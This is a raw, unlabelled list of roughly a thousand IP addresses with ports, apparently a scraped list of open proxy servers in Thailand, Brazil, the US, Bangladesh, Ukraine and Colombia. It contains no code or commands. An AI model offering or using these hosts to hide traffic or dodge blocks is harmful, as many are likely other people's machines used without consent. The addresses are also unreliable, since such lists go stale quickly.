171.99.204.197:8118 180.180.17.148:8080 180.183.10.3:8213 180.183.124.223:8213 180.183.159.108:8080 180.183.16.136:8080 180.183.230.108:8080 180.183.230.25:8080 101.108.241.222:8080 101.109.44.117:8080 101.109.168.99:8080 101.109.252.74:8080 1.20.100.134:40698 1.20.169.174:8080 101.109.142.115:8080 101.51.141.49:57977 101.51.105.44:8080 110.77.154.77:8080 110.78.176.221:8080 110.77.231.159:8080 110.77.218.188:8080 110.78.137.104:62225 110.77.194.220:8080 113.53.83.157:8080 113.53.185.229:8081 115.87.207.87:8080 118.172.127.144:8080 118.172.251.203:8080 118.172.176.61:8080 118.174.234.195:52236 118.175.244.21:8080 118.175.93.137:30926 124.122.255.32:8080 171.100.219.119:8080 171.99.203.215:3128 180.183.49.237:8213 180.183.134.70:8080 180.183.100.206:8080 180.183.112.228:8080 180.183.140.198:8213 180.183.103.228:3128 203.150.186.143:8080 203.150.154.44:8080 203.150.160.226:8080 203.170.129.56:3128 223.204.176.68:8080 223.205.73.163:8080 27.145.100.243:8080 27.145.233.90:8080 49.231.210.143:8080 61.91.47.114:47740 203.150.186.123:8080 180.183.228.175:8081 110.164.91.50:51065 202.80.231.67:8080 223.27.196.18:8080 101.108.113.189:8080 118.174.65.137:41255 113.53.61.165:8080 182.52.74.76:34084 14.207.98.25:8213 14.207.195.122:8213 118.175.240.205:54552 181.191.106.122:43716 181.191.106.124:43716 181.191.180.110:8080 186.192.98.250:8080 186.211.176.190:38934 186.211.180.154:53281 186.219.211.49:47982 186.201.208.180:8080 186.225.48.178:8080 186.229.25.18:8080 186.249.213.65:52018 186.249.68.49:61982 186.192.255.115:50874 186.250.29.1:53281 186.225.250.26:60468 186.226.178.122:32188 186.249.75.6:61982 187.111.192.146:44794 186.193.26.106:3128 186.211.106.227:34334 187.16.4.121:8080 186.219.211.37:47982 187.19.165.167:8080 187.103.15.73:38053 187.108.38.10:20183 187.45.106.176:8080 187.109.181.74:8080 187.62.195.145:8080 187.109.210.140:8080 187.62.220.89:8080 187.111.26.142:8080 187.63.82.55:51769 187.53.60.82:8080 189.101.82.221:3128 189.127.25.59:3128 189.90.255.77:8080 190.180.160.127:3128 191.222.209.10:44848 191.240.152.133:80 191.240.152.134:80 191.241.34.210:8080 191.255.244.180:8080 186.229.25.196:8080 192.140.42.28:39653 186.249.213.113:8888 192.140.42.81:36286 187.109.40.193:20183 187.111.192.121:53522 187.4.67.28:8080 187.45.13.190:44780 186.216.81.21:31773 186.193.23.17:3128 187.62.209.155:8080 186.228.147.58:20183 187.1.174.94:20183 186.225.43.49:57701 187.62.45.130:3128 186.233.104.25:8080 187.103.15.61:38053 186.251.168.37:3128 187.115.10.50:20183 187.125.23.26:8080 187.109.37.53:20183 187.18.125.34:3128 187.111.192.1:53522 187.17.146.25:8080 187.111.192.198:59114 187.4.67.29:8080 187.111.192.202:32919 189.33.80.53:8080 191.240.149.161:8080 189.80.135.130:8080 191.240.152.132:80 189.90.245.230:8080 187.84.141.62:8080 191.241.167.251:41288 189.90.255.208:3128 189.50.1.154:8080 187.65.112.204:8080 186.192.15.7:8080 186.193.37.21:52750 186.219.214.13:32708 186.233.98.158:45470 186.250.133.144:34180 186.250.56.135:8080 189.10.97.147:41487 200.152.78.48:38543 189.51.101.126:39108 200.233.134.85:43172 189.91.157.10:8080 187.109.40.9:20183 187.111.160.8:42579 189.61.248.107:8080 187.33.226.82:30102 191.241.166.250:41288 187.4.114.107:80 191.241.36.162:8080 187.4.67.26:8080 186.219.210.70:60446 191.252.204.67:80 187.44.226.142:8085 186.225.103.5:53281 201.49.58.227:80 187.63.82.196:3128 186.225.63.134:38459 201.54.31.14:55282 187.76.190.74:8080 186.226.172.170:23500 192.140.42.83:41308 201.72.106.98:31181 187.94.31.237:33296 191.255.207.231:20183 186.237.171.226:8080 201.72.97.40:8080 187.95.28.43:20183 191.7.200.174:53230 186.248.170.82:53281 186.249.213.23:36586 200.147.153.131:80 200.167.191.101:3128 187.109.210.153:60773 187.109.36.251:20183 200.193.220.31:8083 200.202.229.218:8080 191.240.152.135:80 200.212.2.70:45612 187.62.45.130:80 200.223.86.174:44525 189.51.98.182:56906 187.73.68.14:53281 191.189.30.85:58671 187.95.34.10:8080 191.7.208.110:50626 200.255.122.170:8080 201.12.21.57:8080 201.20.80.113:8080 201.26.179.96:8080 201.75.5.168:8080 190.93.176.70:8080 200.142.120.90:56579 200.149.1.106:8080 191.209.21.39:8080 200.149.24.194:8080 191.240.152.129:80 200.150.86.138:44677 191.240.153.174:33620 200.178.251.146:8080 191.243.218.245:53281 200.149.0.74:8080 200.195.155.91:3128 200.149.19.130:8080 200.225.140.130:61021 200.206.50.66:42515 200.212.2.94:45612 200.217.153.246:8080 200.236.221.54:58092 200.24.84.4:39136 200.140.132.18:8080 200.170.144.185:8080 200.159.250.2:3128 200.236.216.205:34064 200.222.137.202:8080 201.131.224.21:56200 200.222.139.246:8080 200.236.216.242:34064 201.150.55.241:8080 200.240.244.7:8080 200.255.122.174:8080 201.16.151.65:44610 201.18.144.234:34339 201.20.77.237:8080 201.28.37.123:8080 201.20.92.102:33490 201.59.214.82:8080 201.86.99.130:39900 201.49.37.133:80 201.62.56.49:35816 201.76.3.230:8080 201.158.60.153:48560 200.146.222.66:3128 201.20.106.186:8080 200.165.64.90:8080 200.174.158.26:34112 200.186.53.98:58855 201.59.201.92:41839 200.195.155.93:3128 201.87.154.127:8080 200.199.114.226:33932 200.223.86.171:44525 200.236.221.242:35613 131.255.168.33:8080 138.204.186.8:8080 131.221.253.114:23500 138.0.73.170:8080 138.122.140.35:3128 138.255.240.66:41466 128.201.97.154:53281 138.117.37.244:80 138.122.13.149:8080 45.165.131.6:8080 23.97.101.222:80 45.166.244.175:8080 45.169.172.2:3128 45.170.68.15:8080 138.219.223.166:3128 45.70.193.191:8080 45.175.179.228:8080 45.182.67.12:8080 45.231.230.9:8080 45.235.87.65:53781 45.4.237.72:57617 45.70.194.241:8080 45.226.48.113:60143 45.235.119.229:8080 45.160.80.62:40249 45.228.48.4:53281 45.232.244.141:8080 45.235.86.1:51996 45.235.87.94:53781 45.70.192.55:8080 45.6.136.38:53281 128.201.97.155:53281 128.201.97.158:53281 143.137.204.5:80 189.58.100.98:8080 189.80.3.187:8080 189.91.231.43:3128 143.137.204.4:80 143.202.188.109:8080 131.196.87.198:3128 143.137.204.7:80 143.137.220.46:33662 45.168.79.9:8083 45.230.177.209:30056 45.237.182.98:8080 191.186.155.36:8080 138.121.136.153:8080 45.239.228.2:8080 191.240.152.130:80 131.108.75.130:8080 138.97.116.174:57537 191.240.152.131:80 138.97.138.94:8080 191.240.153.170:33620 138.97.219.201:8080 191.5.0.79:53281 192.141.12.70:8080 152.249.249.246:8080 152.92.31.134:8080 45.70.195.173:8080 45.70.218.102:56509 138.121.32.26:23500 138.255.165.86:40600 138.36.106.251:42651 138.36.20.43:38006 138.97.116.172:57537 160.19.245.61:58349 131.161.68.13:60817 168.181.196.71:8080 200.175.148.178:34964 170.244.106.238:8080 200.195.148.18:3128 138.121.32.133:23492 164.163.25.90:8080 200.222.31.146:44726 200.222.46.130:8080 138.204.179.162:44088 170.79.95.140:8080 138.121.155.127:61932 200.233.220.166:59694 138.219.133.22:8080 170.82.231.26:49794 138.186.84.183:443 138.97.12.150:49649 168.205.222.49:30428 170.238.49.19:8080 170.231.187.209:8080 170.238.48.184:8080 170.79.171.110:8080 170.80.156.41:8080 170.79.86.6:8080 170.81.157.82:8080 201.46.28.222:63238 160.19.245.59:31288 143.137.204.6:80 170.84.49.230:53281 143.255.52.90:8080 201.67.41.214:39849 167.249.181.152:8080 167.249.181.246:8080 168.195.229.41:9999 170.0.48.38:35872 177.126.216.149:39353 177.136.252.7:3128 177.154.224.206:44488 177.158.140.89:8080 168.196.207.218:52821 177.17.3.70:8080 168.196.212.1:9999 177.19.90.204:8080 168.205.28.22:8181 177.20.235.241:8080 168.227.213.83:8080 177.21.30.148:666 168.232.20.155:8080 177.38.232.40:36442 177.46.148.142:3128 177.125.148.53:8080 177.75.198.30:53281 177.159.228.108:8080 177.91.127.56:43014 177.207.252.205:53281 170.82.52.48:8080 177.92.20.182:38610 177.23.104.114:59593 170.82.73.140:53281 177.94.206.67:60666 177.36.7.61:53281 170.84.93.73:36001 177.10.91.215:8080 177.55.88.194:23500 45.232.244.105:8080 177.12.80.50:50556 177.72.72.217:54468 45.235.119.246:8080 177.158.149.89:8080 177.83.6.65:3128 177.158.217.105:8080 177.85.115.60:8080 177.200.83.238:8080 177.85.79.13:8080 177.185.156.241:8080 177.221.176.80:35042 177.86.158.102:49846 177.185.240.241:80 177.38.158.23:8080 177.93.101.175:8080 177.207.4.120:8080 177.46.147.57:35613 177.21.118.139:8080 177.52.251.107:8080 177.37.161.4:59579 177.69.214.155:53281 179.185.114.206:80 177.43.54.107:8080 177.71.77.202:20183 177.54.97.249:3128 179.178.28.148:8080 177.67.10.15:48314 179.215.213.150:8080 177.67.217.30:61416 179.220.162.237:8080 177.74.220.8:53281 177.92.160.254:54868 179.108.86.219:49439 179.124.240.199:46318 179.124.242.34:41886 179.108.187.9:8080 179.127.35.10:8080 179.180.99.6:8080 179.83.42.197:8080 45.168.74.6:8080 45.172.35.119:8080 45.182.66.152:8080 45.234.200.18:53281 45.235.119.242:8080 179.222.91.185:8080 167.249.181.191:3128 177.124.184.52:8080 177.128.42.25:55469 177.134.155.207:8080 177.152.143.74:8080 177.222.229.243:23500 177.46.141.143:36037 168.196.192.114:3128 168.196.204.17:52821 168.228.204.250:80 168.232.64.52:8080 168.90.30.180:20183 179.106.161.185:8080 170.84.51.74:53281 164.163.25.77:8080 168.90.50.118:39734 170.254.151.98:3128 170.82.6.163:53281 177.1.81.114:37740 177.10.201.221:8080 177.105.232.124:8080 177.130.140.14:8080 177.131.13.9:20183 45.162.8.74:3128 45.177.233.101:8080 177.38.243.102:8080 177.41.7.114:8080 177.46.147.94:32747 177.54.200.10:57969 177.54.200.2:57992 177.6.234.194:3128 177.8.226.254:8080 177.92.242.116:8080 177.92.67.230:53281 177.99.140.112:8080 177.105.209.41:20183 177.125.169.6:8080 177.129.207.23:8080 177.130.55.126:41842 177.131.22.186:80 177.135.228.3:53281 177.136.185.200:80 177.152.134.93:8080 177.152.174.141:8888 177.184.139.81:38459 179.107.98.18:8080 177.46.149.22:32337 179.124.197.174:8080 177.67.139.209:80 179.162.146.233:8080 177.67.203.130:48799 177.8.216.114:8080 177.91.33.119:80 177.98.140.80:8080 131.196.202.78:53281 179.182.242.44:8080 131.221.120.196:58237 179.252.22.210:8080 131.255.50.179:8080 179.97.31.41:53100 138.255.32.65:34641 138.36.107.24:41184 138.36.7.45:40973 138.97.116.173:57537 168.194.84.198:53281 168.196.204.31:52821 170.233.123.150:8080 170.80.156.45:8080 177.101.223.50:3128 177.105.242.248:20183 177.125.61.227:3128 177.126.81.63:20183 177.128.124.200:48582 177.155.184.46:8080 177.159.228.108:80 177.185.93.77:8080 177.200.72.214:20183 177.22.24.105:3128 177.39.139.123:8080 177.53.8.125:47970 177.8.216.106:8080 177.92.143.214:8080 177.92.241.19:8080 177.98.93.248:8080 177.99.206.82:8080 179.189.225.58:41881 179.189.27.28:8080 179.95.232.131:3128 18.228.225.128:3128 201.82.1.129:8080 45.224.173.254:8080 45.6.93.65:8080 52.67.169.220:8080 52.67.169.220:80 186.249.192.102:8080 200.98.67.241:8080 45.170.112.10:8080 45.236.243.154:3128 131.72.109.18:3128 179.191.245.58:3128 200.195.55.186:8080 100.21.135.5:80 102.129.250.233:3129 102.129.250.240:3129 102.129.250.83:3129 100.32.167.18:3128 102.129.250.134:3129 102.129.250.144:3129 100.21.166.204:8080 102.129.250.123:3129 102.129.250.186:3129 100.21.166.204:80 102.129.250.161:3129 102.129.250.147:3129 102.129.250.177:3129 102.129.250.174:3129 102.129.250.154:3129 102.129.250.158:3129 102.129.250.141:3129 102.129.250.171:3129 102.129.250.211:3129 102.129.250.206:3129 102.129.250.89:3129 102.129.252.150:3129 102.129.252.174:3129 102.129.250.176:3129 102.129.250.196:3129 102.129.250.219:3129 102.129.250.220:3129 184.191.162.4:3128 104.221.130.36:3128 104.232.142.69:3128 107.190.148.202:40971 107.178.4.215:44826 192.210.144.171:80 198.11.178.14:8080 104.214.115.225:80 104.245.228.65:8080 104.224.183.83:3128 104.168.146.129:3128 104.221.129.167:3128 104.221.131.19:3128 104.221.131.22:3128 104.236.248.219:3128 192.119.203.124:48678 107.173.40.60:8080 104.214.71.169:8080 192.119.203.170:48678 107.175.133.235:8080 104.221.130.39:3128 108.179.221.114:3128 104.221.135.105:3128 104.232.147.222:3128 191.96.42.184:3129 104.232.148.119:3128 192.249.53.99:8080 104.232.152.93:3128 198.199.85.139:3128 104.32.43.13:53281 108.179.221.71:3128 191.96.42.82:3129 192.210.144.171:8080 104.236.47.73:8080 104.236.55.48:8080 198.98.51.240:8080 199.5.133.194:80 206.72.195.212:3128 206.72.195.221:3128 206.72.195.231:3128 207.144.111.230:8080 198.199.120.242:8888 104.221.130.43:3128 104.221.135.100:3128 104.221.135.108:3128 198.98.58.178:8080 104.232.140.234:3128 199.119.158.2:56319 104.232.148.115:3128 206.72.192.134:3128 216.228.69.202:51124 12.189.124.100:34227 198.50.152.64:23500 216.169.73.65:40344 216.255.170.14:48678 24.113.136.54:48678 35.211.131.154:8888 35.225.127.97:8080 206.109.4.94:8080 13.66.25.52:80 204.15.243.234:59023 208.114.192.126:8080 24.172.82.94:53281 13.88.30.112:3128 12.218.209.130:53281 209.80.12.183:80 206.72.195.211:3128 207.244.139.89:44223 209.203.130.51:8080 205.185.115.100:8080 136.25.2.43:51698 35.198.5.139:80 206.72.195.225:3128 35.211.252.41:8888 209.90.63.108:80 138.68.254.242:3128 13.66.208.202:80 13.92.153.251:3128 216.75.113.182:39602 206.72.195.219:3128 138.68.245.127:8080 24.113.42.169:48678 138.68.254.242:80 134.209.219.234:80 3.86.78.70:80 45.32.196.131:8080 34.77.139.83:8080 34.77.99.42:8080 34.95.167.51:8080 3.229.232.134:8080 35.245.208.185:3128 50.203.239.20:80 50.21.179.198:3128 50.235.28.146:3128 50.245.201.57:80 50.250.56.129:46456 40.131.87.38:8080 64.146.143.148:8080 50.0.51.253:46917 50.203.239.25:80 67.207.93.108:8080 50.203.239.26:80 50.203.239.28:80 71.138.16.17:30421 50.233.228.147:8080 50.235.149.74:8080 75.151.213.85:8080 45.88.179.66:8080 45.79.49.76:8118 45.79.50.63:8131 47.200.180.182:3128 47.51.51.190:8080 50.203.239.18:80 50.203.239.22:80 50.236.148.246:39970 50.240.43.17:31930 50.246.4.13:54325 50.203.239.17:80 50.203.239.24:80 50.203.239.27:80 50.203.239.31:80 50.245.201.55:80 52.14.34.225:80 66.7.113.39:3128 67.205.173.179:8080 67.205.184.39:3128 70.169.129.235:48678 73.239.197.175:8080 24.113.141.227:48678 24.113.42.177:48678 24.172.225.122:53281 24.245.100.212:48678 129.146.181.251:3128 64.139.79.35:8080 67.205.173.179:80 65.36.119.212:8080 142.54.163.202:3128 68.185.57.66:80 67.205.173.179:3128 70.169.150.122:48678 67.205.184.39:8080 142.252.249.27:8080 71.13.131.142:80 67.205.184.39:80 74.113.169.129:47208 68.15.151.20:48678 75.80.242.9:41007 69.55.211.182:3128 70.169.132.131:48678 3.14.79.79:80 71.187.28.75:3128 3.15.217.158:8888 3.227.191.84:3128 157.245.192.250:8080 206.72.195.209:3128 157.245.197.106:8888 157.245.48.174:8080 45.32.192.228:3128 139.178.76.99:3128 157.245.63.182:8118 45.32.192.228:8080 157.245.90.37:8080 208.180.237.55:31012 45.32.87.196:3128 45.52.195.0:3128 154.127.52.195:3129 35.198.44.138:80 96.87.16.153:41344 96.87.188.193:61748 45.79.39.170:8123 141.125.82.106:80 157.245.4.19:3128 45.79.49.76:8113 159.89.159.228:3128 157.245.48.206:8080 45.79.58.206:8119 159.89.234.210:3128 157.245.148.128:8118 45.79.58.206:8121 157.245.249.43:3128 162.144.250.249:8888 159.203.177.149:8080 159.65.164.58:80 159.65.237.253:8080 159.203.177.149:3128 162.144.251.96:8888 47.189.83.192:53281 165.22.179.194:80 162.212.158.237:3128 167.172.72.26:8080 167.71.105.166:3128 198.211.96.29:3128 198.98.55.168:8080 167.71.243.93:3128 199.195.248.24:8080 157.245.14.4:3128 157.245.245.205:8080 157.245.56.142:8080 137.27.157.238:8080 157.245.57.147:8080 165.22.13.92:8080 157.245.60.143:8080 165.22.34.75:8080 165.227.185.168:3128 157.245.88.191:8080 165.227.185.168:8080 167.172.78.9:8080 50.203.239.19:80 50.203.239.23:80 167.71.103.168:3128 35.173.21.12:3128 50.206.9.157:80 167.71.106.246:3128 167.71.182.13:3128 50.224.238.78:8080 157.230.154.190:3128 159.89.191.89:3128 167.71.254.86:3128 50.239.2.138:8080 157.245.0.154:3128 159.89.253.76:8888 167.71.97.196:3128 50.247.207.5:49788 157.245.0.181:3128 167.99.159.6:8080 167.99.232.18:8080 170.106.37.211:8080 159.203.177.149:80 159.203.87.130:3128 172.93.209.226:3129 89.187.181.123:3128 172.93.210.106:3129 52.207.71.102:3128 159.89.49.106:80 173.214.170.249:8080 143.59.221.210:8080 167.71.165.231:3128 167.71.94.127:3128 167.71.97.146:3128 98.142.36.181:80 167.99.159.36:80 165.22.179.194:3128 167.99.226.97:8080 165.227.84.26:8080 173.46.67.172:58517 98.109.114.151:80 167.71.182.175:3128 174.127.155.118:32505 99.100.78.207:8080 69.10.47.1:8080 167.71.250.73:3128 157.230.154.190:8000 73.171.108.232:8888 167.88.117.209:8080 157.245.217.102:80 167.99.159.36:8080 157.245.249.43:8080 157.245.9.78:3128 45.144.240.54:8888 204.15.243.233:51205 206.72.195.242:3128 206.72.195.246:3128 4.34.50.173:55656 208.180.145.73:8080 209.212.33.99:8080 50.203.239.16:80 50.206.9.153:80 50.242.113.57:58619 45.79.46.57:8112 50.203.239.21:80 165.227.84.26:3128 24.172.34.114:50535 167.71.105.170:3128 167.71.165.231:8080 54.221.193.3:8888 167.71.182.183:3128 167.71.182.191:3128 167.99.226.97:3128 3.91.231.238:3128 169.62.254.21:8888 64.17.30.238:63141 70.169.149.231:48678 96.80.89.69:8080 157.245.148.128:8888 70.169.17.22:48678 97.72.171.166:87 157.245.172.118:8080 98.190.180.62:8080 157.245.6.102:3128 157.245.94.142:8888 63.249.67.70:53281 68.188.59.198:80 166.249.185.135:8888 167.172.64.139:8080 167.71.186.105:3128 167.99.226.97:80 173.197.169.6:8080 173.44.34.106:34276 45.55.53.228:44578 45.79.46.57:8114 45.79.58.206:8128 47.254.23.63:3128 96.233.133.179:37936 97.72.168.62:87 50.192.195.69:52018 50.237.58.161:44745 50.84.27.59:8080 129.42.2.104:8080 66.228.62.51:3128 67.205.136.66:8080 67.75.2.39:3128 69.65.65.178:59720 69.8.126.117:80 69.9.238.22:8080 70.165.65.233:48678 72.21.66.222:40101 72.240.107.189:45552 72.249.51.52:80 8.39.233.148:8080 98.172.142.206:8080 98.190.48.67:48678 132.148.241.241:8888 157.245.148.128:8000 157.245.56.246:8080 159.203.127.55:80 159.89.191.89:8080 162.248.247.153:32592 165.22.184.132:80 166.78.221.222:8888 167.172.78.9:80 167.71.186.103:3128 167.71.252.107:3128 167.99.232.31:8080 173.242.95.77:48533 104.198.232.184:80 198.199.119.119:8080 198.199.120.102:3128 198.199.119.119:3128 198.199.120.102:8080 198.211.110.224:80 198.98.54.241:8080 198.98.56.71:8080 198.74.251.188:8080 208.117.84.248:8080 34.76.242.63:8080 35.188.27.129:3128 40.76.59.221:80 45.55.27.15:8080 45.55.23.78:3128 45.55.23.78:8080 45.55.9.218:3128 45.55.9.218:8080 45.55.27.15:3128 45.55.27.161:8080 45.55.27.161:3128 45.76.30.88:8080 45.79.95.167:3128 45.79.95.167:80 45.79.39.170:8126 52.162.160.53:80 52.162.160.53:8080 50.249.79.18:8080 67.205.146.29:8080 67.205.132.241:3128 67.205.146.29:3128 67.205.174.209:3128 67.205.132.241:8080 67.205.149.230:3128 67.205.149.230:8080 68.183.147.115:80 68.183.147.115:8080 68.183.147.115:3128 67.205.165.60:3128 65.152.119.226:35090 67.205.174.209:8080 71.143.156.129:3128 72.36.4.94:8080 67.60.137.219:35979 70.169.28.194:48678 67.209.121.36:80 71.183.100.76:42413 76.87.101.188:38875 74.132.135.242:49216 167.172.73.62:8008 204.58.254.16:8080 45.32.87.196:8080 104.220.227.154:80 38.90.33.62:80 199.167.214.245:48533 4.34.50.162:55656 157.245.196.127:3128 63.151.67.7:8080 182.160.126.219:8080 182.16.159.75:8080 182.160.125.148:8080 103.106.1.86:8080 182.160.113.58:8080 103.106.2.97:8080 103.107.133.57:43683 182.160.124.26:47304 182.160.102.84:443 182.160.104.213:8080 103.112.130.34:31094 103.114.10.238:8080 103.106.238.148:8080 103.115.100.246:37995 103.106.0.225:8080 103.114.99.17:8080 103.106.3.97:8080 103.106.1.110:8080 103.106.59.57:51393 182.48.94.238:8080 103.15.140.138:44759 103.135.232.2:8080 103.122.74.61:8080 103.103.124.157:45088 103.115.26.74:8080 103.197.48.178:8080 103.106.119.170:49133 103.106.119.154:8080 103.196.233.167:8080 103.109.97.22:44527 103.197.49.122:42810 103.107.132.249:43683 103.112.167.202:8080 103.204.82.13:59498 103.122.90.182:53281 103.221.254.102:56950 103.221.254.125:51630 103.112.63.121:8080 103.225.228.1:58732 103.113.195.114:52294 103.225.229.10:58732 103.197.206.217:8080 103.239.254.70:61967 103.231.163.58:45926 103.239.255.170:38146 103.137.66.25:8080 103.220.204.101:59570 103.245.204.58:52767 103.225.228.89:58732 103.196.233.199:8080 103.250.69.233:8080 103.250.70.9:51370 103.230.182.100:8080 103.251.247.102:8080 103.4.66.82:47268 103.219.163.50:8080 103.221.254.2:40604 103.225.228.185:58732 103.57.21.30:53281 103.250.68.213:49224 103.28.122.128:8080 103.57.121.132:8080 103.88.234.251:40508 103.73.225.182:8080 103.28.121.58:3128 103.103.32.106:8080 103.85.217.1:43967 103.106.35.218:54820 103.5.232.146:8080 103.92.212.242:43399 103.220.204.46:8080 103.66.176.45:51062 103.225.228.17:58732 103.133.204.121:8080 103.197.48.98:8080 106.0.62.26:45847 103.78.248.94:8080 103.243.82.198:37358 103.78.254.82:8080 103.83.205.57:37412 103.26.245.190:43328 103.28.121.58:80 103.87.236.46:41183 103.88.234.58:32413 103.225.228.153:58732 103.4.145.237:8080 103.92.213.253:43399 110.76.129.117:8080 103.96.235.186:23500 103.54.36.50:8080 103.84.36.130:8080 115.127.23.165:31066 103.36.100.248:8000 110.76.129.21:59570 103.84.39.33:8080 103.9.134.25:65301 203.202.245.58:80 203.202.253.202:443 203.80.190.162:8080 103.84.39.34:8080 198.46.205.94:8080 115.127.62.34:8080 118.179.201.142:8080 202.59.138.18:8080 202.91.40.25:53281 203.112.210.86:9090 203.188.243.126:50119 203.188.248.51:23500 116.204.152.110:8080 116.204.152.138:31003 115.127.114.76:32343 115.127.64.58:39611 119.40.95.122:59996 115.127.62.36:8080 115.127.64.62:39611 202.136.88.58:52019 202.65.171.67:8080 202.5.56.71:8080 27.147.209.215:8080 27.147.225.2:35343 118.67.217.41:51338 202.74.243.38:32449 203.112.211.254:8080 120.50.12.150:8080 120.50.10.85:8080 120.50.12.161:8080 119.18.147.111:8080 203.83.182.86:8080 202.74.242.216:45780 120.50.12.146:8080 203.202.245.62:80 123.200.13.178:8080 123.200.20.242:58847 27.147.183.49:8080 27.147.210.35:8080 45.112.72.146:8080 45.123.42.149:37216 27.147.217.2:8080 27.147.215.188:8080 27.147.216.140:8080 27.147.219.42:8080 27.147.255.12:32589 49.0.39.186:8080 45.248.145.154:8080 59.153.202.26:53281 45.123.42.146:37216 58.84.32.177:42810 59.152.11.145:8080 59.152.98.130:8080 59.153.17.38:8080 59.153.203.6:53281 139.5.133.26:50467 139.5.132.245:8080 61.247.184.186:63141 123.0.26.247:8080 27.147.176.110:8080 27.147.179.232:8080 27.147.219.102:49464 113.11.94.242:51257 27.147.222.15:8080 144.48.109.181:56269 203.202.248.35:80 123.49.41.129:23500 203.82.204.154:8080 114.31.20.2:8080 123.200.31.226:53281 137.59.50.225:8080 144.48.111.181:56269 160.202.129.18:8081 160.202.131.18:8081 27.147.197.126:8080 163.47.33.2:8080 160.202.145.6:8080 202.136.90.126:8080 175.41.44.51:52581 202.79.17.65:60122 45.114.85.145:8080 180.211.134.158:23500 45.112.72.142:8080 144.48.109.182:56269 59.152.5.82:8080 61.247.178.218:50691 123.49.2.146:8080 175.41.44.36:52581 43.224.116.218:51370 45.248.145.138:8080 45.251.228.122:32787 59.152.88.42:8080 59.153.100.83:80 180.211.172.151:59827 180.211.193.74:40536 144.48.109.179:56269 163.53.150.138:45693 103.134.41.58:8080 103.119.23.58:8080 103.132.187.30:53281 103.133.204.17:8080 103.133.204.169:8080 103.197.48.57:8080 117.58.245.114:53985 202.91.40.193:8080 202.91.41.82:8080 203.112.76.193:8080 203.76.220.226:33975 223.165.1.170:44685 27.147.216.140:80 45.117.61.34:8080 59.152.61.99:3128 185.39.199.137:8080 185.160.60.36:33471 185.205.46.116:3128 185.46.223.198:23500 188.191.31.135:41258 188.231.142.71:59334 193.142.219.75:33940 194.126.183.171:44370 188.163.170.130:41209 195.138.72.84:55126 109.251.185.20:44410 195.182.22.178:36066 109.86.207.1:37889 109.86.41.76:45308 109.200.156.102:8080 109.68.41.78:8080 194.44.138.78:40803 195.138.83.218:53281 195.138.92.152:35245 185.94.218.57:43403 109.200.155.194:8080 193.106.57.37:40594 193.178.50.49:3128 109.87.193.112:37057 109.87.40.23:52782 194.44.246.210:8080 194.79.63.134:8080 194.44.246.82:8080 109.110.73.106:51528 193.142.219.104:52307 109.86.41.111:45308 193.188.254.67:53281 194.187.216.228:53281 195.138.82.198:50309 195.191.214.118:46406 195.230.130.73:39996 195.69.221.198:40447 195.78.112.235:61423 212.115.235.132:8080 193.110.115.220:3128 193.41.88.58:53281 195.230.115.241:8080 195.58.234.98:61189 195.80.140.212:8081 109.86.190.193:8080 195.88.26.9:48346 213.110.122.220:56871 213.160.150.239:55209 31.41.92.154:23500 37.57.216.4:4444 31.133.57.134:41258 31.41.68.79:49480 31.202.30.118:54547 46.151.145.4:53281 31.31.109.131:53281 31.43.135.58:41962 5.58.50.5:8080 37.229.122.18:8080 37.57.129.4:4444 37.57.15.43:33761 46.8.28.17:8080 77.93.42.134:47803 81.162.243.249:8080 45.87.89.89:8080 62.122.201.246:60619 46.172.76.114:41562 85.238.104.235:47408 91.193.252.250:45385 91.200.114.58:55979 91.201.240.242:8080 5.58.52.231:8080 91.213.119.246:31551 77.120.137.9:56056 94.153.169.22:59177 77.222.131.11:50972 130.255.137.53:45128 95.134.195.78:48935 31.135.140.92:8080 192.162.141.149:3128 134.249.151.4:40046 82.117.244.85:31280 82.144.205.109:3128 212.90.168.150:52589 195.211.174.36:38899 195.225.49.131:58302 195.69.135.78:46704 159.224.182.206:46497 46.63.71.13:8080 159.224.73.208:23500 134.249.156.3:82 134.249.167.184:53281 134.249.149.219:35795 91.201.240.244:8080 91.203.114.105:41248 31.41.93.192:58773 5.59.105.17:39266 92.249.122.108:61778 92.52.186.123:32891 93.127.114.60:3128 37.52.11.12:42180 37.57.18.221:40091 89.184.66.179:8080 94.153.224.194:58713 95.133.163.98:61821 95.46.6.33:8081 176.118.49.54:53281 95.135.142.198:8080 176.36.20.67:61935 91.203.27.139:56856 176.98.95.247:52919 176.111.180.209:54237 176.36.111.9:35389 176.36.118.116:56394 176.37.192.13:8080 79.143.44.122:8081 176.105.199.19:52024 80.249.229.64:31103 176.120.59.85:8080 176.113.157.149:51253 176.36.89.203:53325 176.98.76.203:59082 178.151.143.112:31260 176.98.75.229:54256 178.215.190.239:48049 46.173.127.93:44366 178.215.190.240:49465 178.219.175.128:39187 85.198.142.186:8081 46.175.185.239:37293 91.210.178.161:8080 93.75.197.17:8888 94.153.137.98:36265 94.179.135.230:47240 176.118.51.176:39627 176.36.210.201:44365 95.158.1.26:56234 178.219.171.43:45637 62.122.201.241:46176 176.104.52.46:47578 87.244.176.213:41128 85.198.185.26:8080 87.244.181.136:8080 176.36.164.240:35522 87.244.182.241:8080 91.193.253.188:23500 91.225.226.39:54198 91.194.239.122:8080 93.76.211.56:42818 91.201.240.243:8080 93.78.238.94:41258 91.206.30.218:3128 91.207.147.243:38472 46.174.164.109:3128 46.33.253.29:32113 46.63.104.139:8080 95.46.6.134:8081 95.67.45.234:8080 92.60.186.173:8080 5.58.95.179:8080 176.120.100.174:35002 178.216.2.229:8080 178.219.163.231:8888 95.67.65.18:53281 178.219.172.9:58638 85.198.133.19:43157 86.111.88.10:53069 91.203.114.74:32653 91.214.128.243:23500 91.230.199.174:49022 91.237.123.201:41258 94.45.152.86:49879 95.46.6.131:8081 134.249.117.3:8080 134.249.165.49:53281 159.224.226.164:33803 159.224.44.19:35672 159.224.83.100:8080 193.107.106.95:32952 213.174.10.58:51353 46.201.219.126:8080 46.185.78.25:8080 46.35.249.189:33153 5.58.81.19:8080 5.58.88.175:8080 5.58.85.32:59824 62.80.182.42:53281 77.120.3.159:8080 78.30.192.84:46993 80.245.117.131:8080 85.223.157.204:40329 91.202.240.208:51678 91.221.252.18:8080 94.153.194.14:41258 93.170.115.179:52461 94.244.44.67:50546 195.214.222.75:8080 178.150.139.189:53708 91.225.109.186:53897 95.158.6.243:46399 181.129.140.226:38681 181.129.181.250:53539 181.129.183.19:53281 181.118.155.4:50462 181.118.155.30:32964 181.143.79.154:48749 181.129.141.210:37704 181.129.189.244:999 181.129.42.179:35690 181.129.52.154:57560 181.129.171.124:8080 181.118.155.38:34406 181.129.50.138:39567 181.143.157.242:50942 181.129.64.138:33688 